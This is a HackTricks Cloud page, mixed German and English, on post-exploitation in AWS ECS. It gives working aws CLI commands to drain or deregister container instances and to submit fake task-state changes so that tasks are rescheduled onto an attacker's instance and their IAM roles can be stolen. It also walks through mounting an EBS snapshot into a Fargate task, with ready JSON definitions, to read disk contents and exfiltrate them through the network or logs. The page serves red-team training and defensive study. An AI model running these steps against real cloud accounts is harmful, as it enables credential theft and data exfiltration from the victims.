AWS - ECS Post Exploitation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
ECS
Weitere Informationen:
Host IAM Roles
In ECS kann einer Aufgabe, die innerhalb des Containers läuft, eine IAM-Rolle zugewiesen werden. Wenn die Aufgabe auf einer EC2-Instanz ausgeführt wird, hat die EC2-Instanz eine andere IAM-Rolle angehängt.
Das bedeutet, dass wenn es Ihnen gelingt, eine ECS-Instanz zu kompromittieren, Sie möglicherweise die IAM role associated to the ECR and to the EC2 instance erhalten können. Für mehr Infos darüber, wie man diese Zugangsdaten erhält, siehe:
Caution
IMDSv2 mit einem hop limit von 1 blockiert nicht awsvpc- oder host-networked Tasks—nur Docker-bridge-Tasks liegen weit genug entfernt, damit die Antworten verfallen. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Jüngste Latacora research zeigt, dass awsvpc und host Tasks weiterhin Host-Credentials abrufen, selbst wenn IMDSv2+h=1 erzwungen wird.
Privesc to node to steal other containers creds & secrets
Außerdem nutzt EC2 Docker, um ECS-Tasks auszuführen. Wenn Sie auf den Node entkommen können oder Zugriff auf den docker socket erhalten, können Sie prüfen, welche anderen Container laufen, sich sogar in diese hineinbegeben und die an sie angehängten IAM roles stehlen.
Making containers run in current host
Darüber hinaus hat die EC2 instance role normalerweise genügend permissions, um den container instance state der als Nodes im Cluster verwendeten EC2-Instanzen zu aktualisieren. Ein Angreifer könnte den state of an instance to DRAINING ändern; ECS wird dann alle Tasks von dieser Instanz entfernen, und die als REPLICA laufenden Tasks werden in einer anderen Instanz ausgeführt, möglicherweise innerhalb der Instanz des Angreifers, sodass er deren IAM roles und möglicherweise sensible Informationen aus den Containern stehlen kann.
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
Die gleiche Technik kann durch Abmelden der EC2-Instanz aus dem Cluster durchgeführt werden. Dies ist potenziell weniger stealthy, aber es wird erzwingen, dass die tasks in anderen Instanzen ausgeführt werden:
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
Eine letzte Technik, um die erneute Ausführung von Tasks zu erzwingen, besteht darin, ECS mitzuteilen, dass die Aufgabe oder der Container gestoppt wurde. Es gibt 3 mögliche APIs, um dies zu tun:
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]
# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
Sensitive Informationen aus ECR-Containern stehlen
Die EC2-Instanz hat wahrscheinlich auch die Berechtigung ecr:GetAuthorizationToken, die es ihr erlaubt, Images herunterzuladen (du könntest in diesen nach sensiblen Informationen suchen).
Ein EBS-Snapshot direkt in einer ECS-Task mounten (configuredAtLaunch + volumeConfigurations)
Missbrauche die native ECS EBS-Integration (2024+), um den Inhalt eines bestehenden EBS-Snapshots direkt in einer neuen ECS-Task/Service zu mounten und die Daten aus dem Container zu lesen.
-
Benötigt (mindestens):
-
ecs:RegisterTaskDefinition
-
One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
-
iam:PassRole on:
-
ECS infrastructure role used for volumes (policy:
service-role/AmazonECSInfrastructureRolePolicyForVolumes) -
Task execution/Task roles referenced by the task definition
-
If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).
-
Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs.
Steps (Fargate example):
- Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
- Registriere eine Task-Definition mit einem Volume, das mit
configuredAtLaunchmarkiert ist, und mounte es im Container. Beispiel (gibt das secret aus und schläft dann):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
- Erstelle oder aktualisiere einen Service und übergebe den EBS snapshot via
volumeConfigurations.managedEBSVolume(erfordert iam:PassRole auf der infra role). Beispiel:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
- Wenn der Task startet, kann der Container die Snapshot-Inhalte am konfigurierten Mount-Pfad (z. B.
/loot) lesen. Exfiltrate via the task’s network/logs.
Aufräumen:
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
Referenzen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

